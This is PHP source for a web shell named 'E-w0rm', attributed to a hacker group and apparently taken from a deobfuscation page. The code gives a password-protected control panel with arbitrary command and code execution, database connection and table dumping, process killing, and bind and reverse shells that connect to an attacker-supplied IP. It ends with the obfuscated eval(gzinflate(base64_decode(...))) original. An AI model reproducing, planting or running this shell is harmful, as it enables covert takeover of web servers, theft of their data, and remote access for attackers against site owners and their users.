				$s_result .= notif("[".$s_sql['type']."] ".$s_sql['user']."@".$s_sql['host'].$s_sqlport."
							<span style='float:right;'><a href='".$s_self."x=db&connect=connect&sqlhost=".pl($s_sql['host'])."&sqlport=".pl($s_sql['port'])."&sqluser=".pl($s_sql['user'])."&sqlpass=".pl($s_sql['pass'])."&sqltype=".pl($s_sql['type'])."'>connect</a> | <a href='".$s_self."x=db&dc=".pl($c)."'>disconnect</a></span>");
			}
		}
		else{
			$s_sql['host'] = isset($_GP['sqlhost'])? $_GP['sqlhost'] : "";
			$s_sql['port'] = isset($_GP['sqlport'])? $_GP['sqlport'] : "";
			$s_sql['user'] = isset($_GP['sqluser'])? $_GP['sqluser'] : "";
			$s_sql['pass'] = isset($_GP['sqlpass'])? $_GP['sqlpass'] : "";
			$s_sql['type'] = isset($_GP['sqltype'])? $_GP['sqltype'] : "";
		}

		if(isset($_GP['connect'])){
			$s_con = sql_connect($s_sql['type'],$s_sql['host'],$s_sql['user'],$s_sql['pass']);
			$s_sqlcode = isset($_GP['sqlcode'])? $_GP['sqlcode'] : "";

			if($s_con!==false){
				if(isset($_GP['sqlinit'])){
					$s_sql_cookie = (function_exists("json_encode") && function_exists("json_decode"))? json_encode($s_sql):serialize($s_sql);
					$s_c_num = substr(md5(time().rand(0,100)),0,3);
					while(isset($_COOKIE['c']) && is_array($_COOKIE['c']) && array_key_exists($s_c_num, $_COOKIE['c'])){
						$s_c_num = substr(md5(time().rand(0,100)),0,3);
					}
					setcookie("c[".$s_c_num."]", $s_sql_cookie ,time() + $s_login_time);
				}
				$s_show_form = false;
				$s_result .= "<form action='".$s_self."' method='post'>
					<input type='hidden' name='sqlhost' value='".hss($s_sql['host'])."' />
					<input type='hidden' name='sqlport' value='".hss($s_sql['port'])."' />
					<input type='hidden' name='sqluser' value='".hss($s_sql['user'])."' />
					<input type='hidden' name='sqlpass' value='".hss($s_sql['pass'])."' />
					<input type='hidden' name='sqltype' value='".hss($s_sql['type'])."' />
					<input type='hidden' name='x' value='db' />
					<input type='hidden' name='connect' value='connect' />
					<textarea id='sqlcode' name='sqlcode' class='txtarea' style='height:150px;'>".hss($s_sqlcode)."</textarea>
					<p><input type='submit' name='gogo' class='inputzbut' value='Start !' style='width:120px;height:30px;' />
					&nbsp;&nbsp;Separate multiple commands with a semicolon  <span class='gaya'>[</span> ; <span class='gaya'>]</span></p>
					</form>";

				if(!empty($s_sqlcode)){
					$s_querys = explode(";",$s_sqlcode);
					foreach($s_querys as $s_query){
						if(trim($s_query) != ""){
							$s_hasil = sql_query($s_sql['type'],$s_query,$s_con);
							if($s_hasil!=false){
								$s_result .= "<hr /><p style='padding:0;margin:6px 10px;font-weight:bold;'>".hss($s_query).";&nbsp;&nbsp;&nbsp;
								<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";

								if(!is_bool($s_hasil)){
									$s_result .= "<table class='explore sortable' style='width:100%;'><tr>";
									for($s_i = 0; $s_i<sql_num_fields($s_sql['type'],$s_hasil); $s_i++)
										$s_result .= "<th>".@hss(sql_field_name($s_sql['type'],$s_hasil,$s_i))."</th>";
									$s_result .= "</tr>";
									while($s_rows=sql_fetch_data($s_sql['type'],$s_hasil)){
										$s_result .= "<tr>";
										foreach($s_rows as $s_r){
											if(empty($s_r)) $s_r = " ";
											$s_result .= "<td>".@hss($s_r)."</td>";
										}
										$s_result .= "</tr>";
									}
									$s_result .= "</table>";
								}
							}
							else{
								$s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>".hss($s_query).";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";
							}
						}
					}
				}
				else{
					if(($s_sql['type']!='pdo') && ($s_sql['type']!='odbc')){
						if($s_sql['type']=='mysql') $s_showdb = "SHOW DATABASES";
						elseif($s_sql['type']=='mssql') $s_showdb = "SELECT name FROM master..sysdatabases";
						elseif($s_sql['type']=='pgsql') $s_showdb = "SELECT schema_name FROM information_schema.schemata";
						elseif($s_sql['type']=='oracle') $s_showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
						elseif($s_sql['type']=='sqlite3' || $s_sql['type']=='sqlite') $s_showdb = "SELECT \"".$s_sql['host']."\"";
						else $s_showdb = "SHOW DATABASES";

						$s_hasil = sql_query($s_sql['type'],$s_showdb,$s_con);

						if($s_hasil!=false) {
							while($s_rows_arr=sql_fetch_data($s_sql['type'],$s_hasil)){
								foreach($s_rows_arr as $s_rows){
									$s_result .= "<p class='notif' onclick=\"toggle('db_".$s_rows."')\">".$s_rows."</p>";
									$s_result .= "<div class='info' id='db_".$s_rows."'><table class='explore'>";

									if($s_sql['type']=='mysql') $s_showtbl = "SHOW TABLES FROM ".$s_rows;
									elseif($s_sql['type']=='mssql') $s_showtbl = "SELECT name FROM ".$s_rows."..sysobjects WHERE xtype = 'U'";
									elseif($s_sql['type']=='pgsql') $s_showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$s_rows."'";
									elseif($s_sql['type']=='oracle') $s_showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$s_rows."'";
									elseif($s_sql['type']=='sqlite3' || $s_sql['type']=='sqlite') $s_showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
									else $s_showtbl = "";

									$s_hasil_t = sql_query($s_sql['type'],$s_showtbl,$s_con);
									if($s_hasil_t!=false) {
										while($s_tables_arr=sql_fetch_data($s_sql['type'],$s_hasil_t)){
											foreach($s_tables_arr as $s_tables){
												if($s_sql['type']=='mysql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 0,100";
												elseif($s_sql['type']=='mssql') $s_dump_tbl = "SELECT TOP 100 * FROM ".$s_rows."..".$s_tables;
												elseif($s_sql['type']=='pgsql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 100 OFFSET 0";
												elseif($s_sql['type']=='oracle') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." WHERE ROWNUM BETWEEN 0 AND 100;";
												elseif($s_sql['type']=='sqlite' || $s_sql['type']=='sqlite3') $s_dump_tbl = "SELECT * FROM ".$s_tables." LIMIT 0,100";
												else $s_dump_tbl = "";

												$s_dump_tbl_link = $s_self."x=db&connect=&sqlhost=".pl($s_sql['host'])."&sqlport=".pl($s_sql['port'])."&sqluser=".pl($s_sql['user'])."&sqlpass=".pl($s_sql['pass'])."&sqltype=".pl($s_sql['type'])."&sqlcode=".pl($s_dump_tbl);

												$s_result .= "<tr><td ondblclick=\"return go('".adds($s_dump_tbl_link)."',event);\"><a href='".$s_dump_tbl_link."'>".$s_tables."</a></td></tr>";
											}
										}
									}
									$s_result .= "</table></div>";
								}
							}
						}
					}
				}
				sql_close($s_sql['type'],$s_con);
			}
			else{
				$s_result .= notif("Unable to connect to database");
				$s_show_form = true;
			}
		}

		if($s_show_form){
			// sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
			$s_sqllist = array();
			if(function_exists("mysql_connect")) $s_sqllist["mysql"] = "Connect to MySQL <span class='desc' style='font-size:12px;'>- using class mysqli or mysql_*</span>";
			if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $s_sqllist["mssql"] = "Connect to MsSQL <span class='desc' style='font-size:12px;'>- using sqlsrv_* or mssql_*</span>";
			if(function_exists("pg_connect")) $s_sqllist["pgsql"] = "Connect to PostgreSQL <span class='desc' style='font-size:12px;'>- using pg_*</span>";
			if(function_exists("oci_connect")) $s_sqllist["oracle"] = "Connect to oracle <span class='desc' style='font-size:12px;'>- using oci_*</span>";
			if(function_exists("sqlite_open")) $s_sqllist["sqlite"] = "Connect to SQLite <span class='desc' style='font-size:12px;'>- using sqlite_*</span>";
			if(class_exists("SQLite3")) $s_sqllist["sqlite3"] = "Connect to SQLite3 <span class='desc' style='font-size:12px;'>- using class SQLite3</span>";
			if(function_exists("odbc_connect")) $s_sqllist["odbc"] = "Connect via ODBC <span class='desc' style='font-size:12px;'>- using odbc_*</span>";
			if(class_exists("PDO")) $s_sqllist["pdo"] = "Connect via PDO <span class='desc' style='font-size:12px;'>- using class PDO</span>";

			foreach($s_sqllist as $s_sql['type']=>$s_sqltitle){
				if($s_sql['type']=="odbc" || $s_sql['type']=="pdo"){
					$s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
					<form action='".$s_self."' method='post' />
					<table class='myboxtbl'>
					<tr><td style='width:170px;'>DSN / Connection String</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
					<tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
					<tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
					</table>
					<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
					<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
					<input type='hidden' name='sqlinit' value='init' />
					<input type='hidden' name='x' value='db' />
					</form>
					</div>";
				}
				elseif($s_sql['type']=="sqlite" || $s_sql['type']=="sqlite3"){
					$s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
					<form action='".$s_self."' method='post' />
					<table class='myboxtbl'>
					<tr><td style='width:170px;'>DB File</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
					</table>
					<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
					<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
					<input type='hidden' name='sqlinit' value='init' />
					<input type='hidden' name='x' value='db' />
					</form>
					</div>";
				}
				else{
					$s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
					<form action='".$s_self."' method='post' />
					<table class='myboxtbl'>
					<tr><td style='width:170px;'>Host</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
					<tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
					<tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
					<tr><td>Port (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='sqlport' value='' /></td></tr>
					</table>
					<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
					<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
					<input type='hidden' name='sqlinit' value='init' />
					<input type='hidden' name='x' value='db' />
					</form>
					</div>";
				}
			}
		}
	} // bind and reverse shell
	elseif(isset($_GP['x']) && ($_GP['x']=='rs')){
		// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
		$s_rshost = $s_server_ip;

		$s_rsport = "13123"; // default port
		$s_rspesana = "Press &#39;  Go !  &#39; button and run &#39;  nc <i>server_ip</i> <i>port</i>  &#39; on your computer";
		$s_rspesanb = "Run &#39;  nc -l -v -p <i>port</i>  &#39; on your computer and press &#39;  Go !  &#39; button";
		$s_rs_err = "";

		$s_rsbind = $s_rsback = array();

		$s_rsbind["bind_php"] = "Bind Shell <span class='desc' style='font-size:12px;'>- php</span>";
		$s_rsback["back_php"] = "Reverse Shell <span class='desc' style='font-size:12px;'>- php</span>";

		$s_access = array("s_python"=>"py", "s_perl"=>"pl", "s_ruby"=>"rb", "s_node"=>"js", "s_nodejs"=>"js", "s_gcc"=>"c", "s_javac"=>"java");
		foreach($s_access as $k=>$v){
			if(isset($$k)){
				$s_t = explode("_", $k);
				$s_rsbind["bind_".$v] = "Bind Shell <span class='desc' style='font-size:12px;'>- ".$s_t[1]."</span>";
				$s_rsback["back_".$v] = "Reverse Shell <span class='desc' style='font-size:12px;'>- ".$s_t[1]."</span>";
			}
		}

		if($s_win){
			$s_rsbind["bind_win"] = "Bind Shell <span class='desc' style='font-size:12px;'>- windows executable</span>";
			$s_rsback["back_win"] = "Reverse Shell <span class='desc' style='font-size:12px;'>- windows executable</span>";
		}
		$s_rslist = array_merge($s_rsbind,$s_rsback);

		if(!@is_writable($s_cwd)) $s_result .= notif("Directory ".$s_cwd." is not writable, please change to a writable one");

		foreach($s_rslist as $s_rstype=>$s_rstitle){
			$s_split = explode("_",$s_rstype);
			if($s_split[0]=="bind"){
				$s_rspesan = $s_rspesana;
				$s_rsdisabled = "disabled='disabled'";
				$s_rstarget = $s_server_ip;
				$s_labelip = "Server IP";
			}
			elseif($s_split[0]=="back"){
				$s_rspesan = $s_rspesanb;
				$s_rsdisabled = "";
				$s_rstarget = $s_my_ip;
				$s_labelip = "Target IP";
			}

			if(isset($_GP[$s_rstype])){
				if(isset($_GP["rshost_".$s_rstype])) $s_rshost_ = $_GP["rshost_".$s_rstype];
				if(isset($_GP["rsport_".$s_rstype])) $s_rsport_ = $_GP["rsport_".$s_rstype];

				if($s_split[0]=="bind") $s_rstarget_packed = $s_rsport_;
				elseif($s_split[0]=="back") $s_rstarget_packed = $s_rsport_." ".$s_rshost_;

				if($s_split[1]=="pl") $s_rscode = $s_rs_pl;
				elseif($s_split[1]=="py") $s_rscode = $s_rs_py;
				elseif($s_split[1]=="rb") $s_rscode = $s_rs_rb;
				elseif($s_split[1]=="js") $s_rscode = $s_rs_js;
				elseif($s_split[1]=="c") $s_rscode = $s_rs_c;
				elseif($s_split[1]=="java") $s_rscode = $s_rs_java;
				elseif($s_split[1]=="win") $s_rscode = $s_rs_win;
				elseif($s_split[1]=="php") $s_rscode = $s_rs_php;

				$s_buff = rs($s_rstype,$s_rstarget_packed,$s_rscode);
				if($s_buff!="") $s_rs_err = notif(hss($s_buff));
			}
			$s_result .= "<div class='mybox'><h2>".$s_rstitle."</h2>
			<form action='".$s_self."' method='post' />
			<table class='myboxtbl'>
			<tr><td style='width:100px;'>".$s_labelip."</td><td><input ".$s_rsdisabled." style='width:100%;' class='inputz' type='text' name='rshost_".$s_rstype."' value='".hss($s_rstarget)."' /></td></tr>
			<tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='rsport_".$s_rstype."' value='".hss($s_rsport)."' /></td></tr>
			</table>
			<input type='submit' name='".$s_rstype."' class='inputzbut' value='Start !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
			&nbsp;&nbsp;<span>".$s_rspesan."</span>
			<input type='hidden' name='x' value='rs' />
			</form>
			</div>";
		}
		$s_result = $s_rs_err.$s_result;
	} // task manager
	elseif(isset($_GP['x']) && ($_GP['x']=='ps')){
		$s_buff = "";
		// kill process specified by pid
		if(isset($_GP['pid'])){
			$s_p = trim($_GP['pid'],"|");
			$s_parr = explode("|", $s_p);

			foreach($s_parr as $s_p){
				if(function_exists("posix_kill")) $s_buff .= (posix_kill($s_p,'9'))? notif("Process with pid ".$s_p." has been successfully killed"):notif("Unable to kill process with pid ".$s_p);
				else{
					if(!$s_win) $s_buff .= notif(exe("kill -9 ".$s_p));
					else $s_buff .= notif(exe("taskkill /F /PID ".$s_p));
				}
			}
		}

		if(!$s_win) $s_h = "ps aux"; // nix
		else $s_h = "tasklist /V /FO csv"; // win
		$s_wcount = 11;
		$s_wexplode = " ";
		if($s_win) $s_wexplode = "\",\"";

		$s_res = exe($s_h);
		if(trim($s_res)=='') $s_result = notif("Error getting process list");
		else{
			if($s_buff!="") $s_result = $s_buff;
			$s_result .= "<table class='explore sortable'>";
			if(!$s_win) $s_res = preg_replace('#\ +#',' ',$s_res);

			$s_psarr = explode("
",$s_res);
			$s_fi = true;
			$s_tblcount = 0;

			$s_check = explode($s_wexplode,$s_psarr[0]);
			$s_wcount = count($s_check);

			foreach($s_psarr as $s_psa){
				if(trim($s_psa)!=''){
					if($s_fi){
						$s_fi = false;
						$s_psln = explode($s_wexplode, $s_psa, $s_wcount);
						$s_result .= "<tr><th style='width:24px;' class='sorttable_nosort'></th><th class='sorttable_nosort'>action</th>";
						foreach($s_psln as $s_p) $s_result .= "<th>".trim(trim(strtolower($s_p)) ,"\"")."</th>";
						$s_result .= "</tr>";
					}
					else{
						$s_psln = explode($s_wexplode, $s_psa, $s_wcount);
						$s_result .= "<tr>";
						$s_tblcount = 0;
						foreach($s_psln as $s_p){
							$s_pid = trim(trim($s_psln[1]),"\"");
							$s_piduniq = substr(md5($s_pid),0,8);
							if(trim($s_p)=="") $s_p = "&nbsp;";
							if($s_tblcount == 0){
								$s_result .= "<td style='text-align:center;text-indent:4px;'><input id='".$s_piduniq."' name='cbox' value='".$s_pid."' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='".$s_piduniq."' class='css-label'></label></td><td class='ce'><a href='".$s_self."x=ps&pid=".$s_pid."'>Kill</a></td><td class='ce'>".trim(trim($s_p) ,"\"")."</td>";
								$s_tblcount++;
							}
							else{
								$s_tblcount++;
								if($s_tblcount == count($s_psln)) $s_result .= "<td class='le'>".trim(trim($s_p) ,"\"")."</td>";
								else $s_result .= "<td class='ce'>".trim(trim($s_p) ,"\"")."</td>";
							}
						}
						$s_result .= "</tr>";
					}
				}
			}
			$colspan = count($s_psln)+1;
			$s_result .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'>
			<form action='".$s_self."' method='post'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /><label for='checkalll' class='css-label'></label></form>
			</td><td style='text-indent:10px;padding:2px;' colspan=".$colspan."><a href='javascript: pkill();'>Kill selected <span id='total_selected'></span></a></td>
			</tr></tfoot></table>";
		}
	}
	elseif(isset($_GP['x']) && ($_GP['x']=='pass')){
		if(isset($_GP['submitnewpass'])){
			$newpass = isset($_GP['newpass'])? trim($_GP['newpass']):"";
			$newpassx = isset($_GP['newpassx'])? trim($_GP['newpassx']):"";
			
			if(empty($newpass) || empty($newpassx)){
				$s_result .= notif('Give your new password to both fields');
			}
			elseif($newpass != $newpassx){
				$s_result .= notif('Password does not match');
			}
			else{
				if(changepass($newpass)){
					$s_result .= notif("Password changed");
				}
				else $s_result .= notif("Unable to change password");
			}
		}
		
		
		$s_result .= "<div class='mybox'><h2>Change shell password</h2>
			<form action='".$s_self."' method='post' />
			<table class='myboxtbl'>
			<tr><td style='width:120px;'>New password</td><td><input style='width:100%;' class='inputz' type='password' name='newpass' value='' /></td></tr>
			<tr><td style='width:120px;'>Confirm password</td><td><input style='width:100%;' class='inputz' type='password' name='newpassx' value='' /></td></tr>
			</table>
			<input type='submit' name='submitnewpass' class='inputzbut' value='Change Password !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
			<input type='hidden' name='x' value='pass' />
			</form>
			</div>";
	}
	else{
		if(!isset($s_cwd)) $s_cwd = "";
		if(isset($_GP['cmd'])){
			$s_cmd = $_GP['cmd'];
			if(strlen($s_cmd) > 0){
				if(preg_match('#^cd(\ )+(.*)#',$s_cmd,$s_r)){
					$s_nd = trim($s_r[2]);
					if(@is_dir($s_nd)){
						chdir($s_nd);
						$s_cwd = cp(getcwd());
						setcookie("cwd", $s_cwd ,time() + $s_login_time);
						$s_result .= showdir($s_cwd);
					}
					elseif(@is_dir($s_cwd.$s_nd)){
						chdir($s_cwd.$s_nd);
						$s_cwd = cp(getcwd());
						setcookie("cwd", $s_cwd ,time() + $s_login_time);
						$s_result .= showdir($s_cwd);
					}
					else $s_result .= notif(hss($s_nd)." is not a directory");
				}
				else{
					$s_r = hss(exe($s_cmd));
					if($s_r != '') $s_result .= "<pre>".$s_r."</pre>";
					else $s_result .= showdir($s_cwd);
				}
			}
			else $s_result .= showdir($s_cwd);
		}
		else $s_result .= showdir($s_cwd);
	}

	// find drive letters
	$s_letters = '';
	$s_v = explode("\",$s_cwd);
	$s_v = $s_v[0];
	foreach (range("A", "Z") as $s_letter){
		if(@is_readable($s_letter.":\")){
			$s_letters .= "<a href='".$s_self."cd=".$s_letter.":\'>[ ";
			if($s_letter.":" != $s_v) $s_letters .= $s_letter;
			else{$s_letters .= "<span class='drive-letter'>".$s_letter."</span>";}
			$s_letters .= " ]</a> ";
		}
	}

	// print useful info
	$s_info  = "<table class='headtbl'><tr><td>".$s_system."</td></tr>";
	$s_info .= "<tr><td>".$s_software."</td></tr>";
	$s_info .= "<tr><td>Server Ip : ".$s_server_ip."<span class='gaya'> | </span>Your Ip : ".$s_my_ip;
	$s_info .= "<span class='gaya'> | </span> Server Time : ".@date("d M Y H:i:s",time());
	$s_info .= "</td></tr>
			<tr><td style='text-align:left;'>
				<table class='headtbls'><tr>
				<td>".trim($s_letters)."</td>
				<td>
				<span id='chpwd'>
				&nbsp;<a href=\"javascript:tukar_('chpwd','chpwdform')\">
				<span class='icon'>o</span>
				&nbsp;&nbsp;</a>".swd($s_cwd)."</span>
				<form action='".$s_self."' method='post' style='margin:0;padding:0;'>
				<span class='sembunyi' id='chpwdform'>
				&nbsp;<a href=\"javascript:tukar_('chpwdform','chpwd');\">
				<span class='icon'>o</span>
				</a>&nbsp;&nbsp;
				<input type='text' name='view' class='inputz' style='width:300px;' value='".hss($s_cwd)."' />
				<input class='inputzbut' type='submit' name='submit' value='view file / folder' />
				</span>
				</form>
				</td></tr>
				</table>
			</td></tr>
			</table>";
}

$s_error = @ob_get_contents();
$s_result = isset($s_result)? $s_result:"";
if(!empty($s_error)) $s_result = notif($s_error).$s_result;
@ob_end_clean();
@ob_start();

?><!DOCTYPE html>
<html>
<head>
<title><?php echo $s_title; ?></title>
<meta charset="utf-8">
<meta name='robots' content='noindex, nofollow, noarchive'>
<link rel='SHORTCUT ICON' href='<?php echo $s_favicon; ?>'>
<?php echo get_code("css", $s_css); ?>
</head>
<body>
<table id='main'><tr><td>
<?php if($s_auth){?>
	<div><span style='float:right;'><?php
	if(!isset($_COOKIE['E-w0rm_included'])){
	?><a href='?x=pass'>Password</a> | 
	<?php }
	?><a href='<?php echo $s_self; ?>x=logout' title='Click me to log out'>Logout</a>  <a href='<?php echo $s_self; ?>x=switch' title='Click me to change theme'><span class='schemabox'>&nbsp;&nbsp;</span></a></span><table id='header'><tr><td style='width:80px;'><table><tr><td><h1><a href='<?php echo $s_self."cd=".cp(dirname(realpath($_SERVER['SCRIPT_FILENAME']))); ?>'>E-w0rm</a></h1></td></tr><tr><td style='text-align:right;'><div class='ver'><?php echo $s_ver; ?></div></td></tr></table></td>	<td><div class='headinfo'><?php echo $s_info; ?></div></td></tr></table></div>
	<div style='clear:both;'></div>
	<form method='post' name='g'></form>
	<div id='menu'>
		<table style='width:100%;'><tr>
		<td><a href='<?php echo $s_self; ?>' title='Explorer'><div class='menumi'>F.E</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=ps' title='Display process status'><div class='menumi'>P.L</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=eval' title='Execute code'><div class='menumi'>E.C</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=info' title='Information about server'><div class='menumi'>S.I</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=db' title='Connect to database'><div class='menumi'>D.B</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=rs' title='Remote Shell'><div class='menumi'>R.S</div></a></td>
		<td style='width:100%;padding:0 0 0 6px;'>
		<span class='prompt'><?php echo $s_prompt; ?></span><form action='<?php echo $s_self; ?>' method='post'>
		<input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd' style='width:70%;' value='<?php
if(isset($_GP['cmd'])) echo "";
else echo "Command to execute";
?>' />
		<noscript><input class='inputzbut' type='submit' value='Start !' name='submitcmd' style='width:80px;' /></noscript>
		</form>
		</td>
		</tr></table>
	</div>
	<div id='content'>
		<div id='result'><?php echo "__RESULT__"; ?></div>
	</div>
	<div id='navigation'>
	<div id='totop' onclick='totopd();' onmouseover='totop();' onmouseout='stopscroll();'></div>
	<div id='tobottom' onclick='tobottomd();' onmouseover='tobottom();' onmouseout='stopscroll();'></div>
	</div>
<?php } else{ ?>
	<div style='width:100%;text-align:center;'>
	<form action='<?php echo $s_self; ?>' method='post'>
	<img src='<?php echo $s_favicon; ?>' style='margin:2px;vertical-align:middle;' />
	E-w0rm&nbsp;<span class='gaya'><?php echo $s_ver; ?></span><input id='login' class='inputz' type='password' name='login' style='width:120px;' value='' />
	<input class='inputzbut' type='submit' value='Login !' name='submitlogin' style='width:80px;' />
	</form>
	</div>
	
<?php }?>	</td></tr></table>
<html>
	 <center>
<img src="http://img15.hostingpics.net/pics/897741EpicHackersSC.png"  />
 </center> 
</html>
<p class='footer'>Author : Tblack | Epic Hacker S.C &copy;<?php echo @date("Y",time())." "; ?>E-w0rm</p>

<script type='text/javascript'>
var d = document;
var scroll = false;
var cwd = '<?php echo hss(adds($s_cwd)); ?>';
var hexstatus = false;
var timer = '';
var x = '<?php if(isset($_GP['x']) && ($_GP['x']=='ps')) echo "ps"; ?>';
var sself = '<?php echo adds($s_self); ?>';
var hexcounter = 0;
var hextimer = '';
var counter = 0;

</script>
<?php echo get_code("js", $s_js); ?>
<script type='text/javascript'>
domready(function(){
	<?php if(isset($_GP['cmd'])) echo "if(d.getElementById('cmd')) d.getElementById('cmd').focus();"; ?>
	<?php if(isset($_GP['evalcode'])) echo "if(d.getElementById('evalcode')) d.getElementById('evalcode').focus();"; ?>
	<?php if(isset($_GP['sqlcode'])) echo "if(d.getElementById('sqlcode')) d.getElementById('sqlcode').focus();"; ?>
	<?php if(isset($_GP['login'])) echo "if(d.getElementById('login')) d.getElementById('login').focus();"; ?>
	<?php if(isset($_GP['hexedit'])) echo "showhex();"; ?>

	if(d.getElementById('cmd')) d.getElementById('cmd').setAttribute('autocomplete', 'off');

	var textareas = d.getElementsByTagName('textarea');
	var count = textareas.length;
	for(i = 0; i<count; i++){
		textareas[i].onkeydown = function(e){
			if(e.keyCode==9){
				e.preventDefault();
				var s = this.selectionStart;
				this.value = this.value.substring(0,this.selectionStart) + "	" + this.value.substring(this.selectionEnd);
				this.selectionEnd = s+1;
			}
			else if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
				this.form.submit();
			}
		}
	}
	listen();
});
</script>
</body>
</html><?php
$s_html = ob_get_contents();
ob_end_clean();
$whitespace = "/(\s{2,}|
{1,})/";
$s_html = preg_replace($whitespace, " ", $s_html);
$s_html = str_replace("__RESULT__", $s_result, $s_html);
echo $s_html;
die();
?>

Did this file decode correctly?

Original Code

<?php
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TJ3HkoNKl4TfZTYzESzwbgkI772Ju8F7b8XTj3ruv5iFQi3TAqrOyfyyu0DllQ7/81//PAT+z0MSv3v4d+P+eRDqd0/+nmN+9/Tvxv9uxL+v/b2HxP79nf97H/Kf59B/n0N/70N/r+PC7/F/3kf8vfb/HiPUfz8KGnWzZZdzVCleoTxMONaEkkPKtUgJlJUnENOX0+StPGQPZ1hGFiPii4AXAF9nxAl85YL0CYKmxe0RnbMWXtoAIIB5LvQABVMFLl505ZeAVHEgaQEggcgFC1pnCh6YBeJv1k9k3pBoJpcvNV4SCL5ohqEoCuIIEINCNVmTNymLI83wIxFAGlxOaWAPUHAvYpERvm5Tq/VerG/VjJBpofO9s6+k/x2QVnO/lr7VRCrFy/MgD7XRxWeIsg+OQty0ja8GkPPo61u6B7WU5qi0VLcPwGHRwYE9FR/mMJ6oY7bWpXx4szF6syGj28f9uCehAioQXM3e2iqO0qgvCYIOKIEGHBJM3x/pcNG9nBBc5wB6fZlVYU6nhMY7schSAMK7h+oCw+W64Q1IEBTAtdcyrKbeKUJJg3BMXbssUzNs1Qvt77CKj7pD65Xb69J7joe5gp2MnCozXCzWHMLiHMcRBKNIHSTHrajwrm7xDKXWLZssM43jbiKLnC3XaJPUPbXVCVLUEFcOdxzsi+/U9i3Lx+a1wRdYdmvNC4UPumgPbvdcYeOtCVRXuXmlVYGDhQepTlbn0Mmg5ROrhgbLqKliCPjJcczdQdYelKn0AHlnVdo6J2MNjx5rTsGczXtUhth9KWydWl6wVQmuNx5ltZYXCR8Nlt8ODStK+FkoOkZgKsENtBZBV6guoRVn1kVv978pCaKe8GqxdFL0yiFaS8Lxpb/hHkGat5rQAhSdlq4CVS+fsX4koQG278Ca8TEq4letF2Eo8O+RjRMVitcAWQ8GYs6HVl6CKbbVy9nE5+GPgkosR0Fvi1fNWc+wUKz+9OUScNkI9RQD5aYRO1ACBGeg4fiCKiexvS4jGVNoV60RO/XocGuR7iZAhUHBUBHrXzgOXnbcP5ITcM8TfU3buC/qMWQ3PlJtK+NeQ84taKGGfB1r0UWxmJZbo999AdRvPm8Qmo9Z+UATbzMyL+jfB1qagHZA5ywJ0+U1ha0wVYVNjo2LNB1iZK/omcrA7rHNWgya9gW4cARNIj6KNvTfFO/37pMkqATzgJl5tZPOt0y4m4syp5SLQxK1gtYytvgruzB+xqzm4o11g1C5W4A8eYaJplKIOCIQreXBttWJKpTQCdJ/GXtarC1UeXSEg8kMTSounaTsfYM7XHthR+eModO5RT0UfDlLz58ArDng+FsDoGKa7iow2FKzcJv65EjjQd2+UHsKuTELJ8llKHJj5OHZaF1ladZ2LvhwBgsgsAtQEpGP33CwmrSUwYqPg8mUxFZY8xW0V9gYYH21Ts99U10T3Sf3vSxlVeDxdxSo7BjsA9FseKcYdj7wd3hB8QmNz7ZExzQG5RWEcGJU7HTkY3cOxS3ZY+G/Wvl9iq6XzQBAVOqnciozNe/k1vIBkYk1wVnBuajBJHh1wIRSsstxCLAcf5fP/n02CtV5uVJEaNg4PhPI9gCVTd0LWiO/xMGFc/uElNrfiP3OIcuDX7dPYOR3BMf+Os1k2GH0fJHBDeL+dRv7nbBEaHIkUiiopmQB+Wgbzpf1VQWFJggREPf0vi+PBHwgCN33UEzQvPauTi36npFWPJ/kO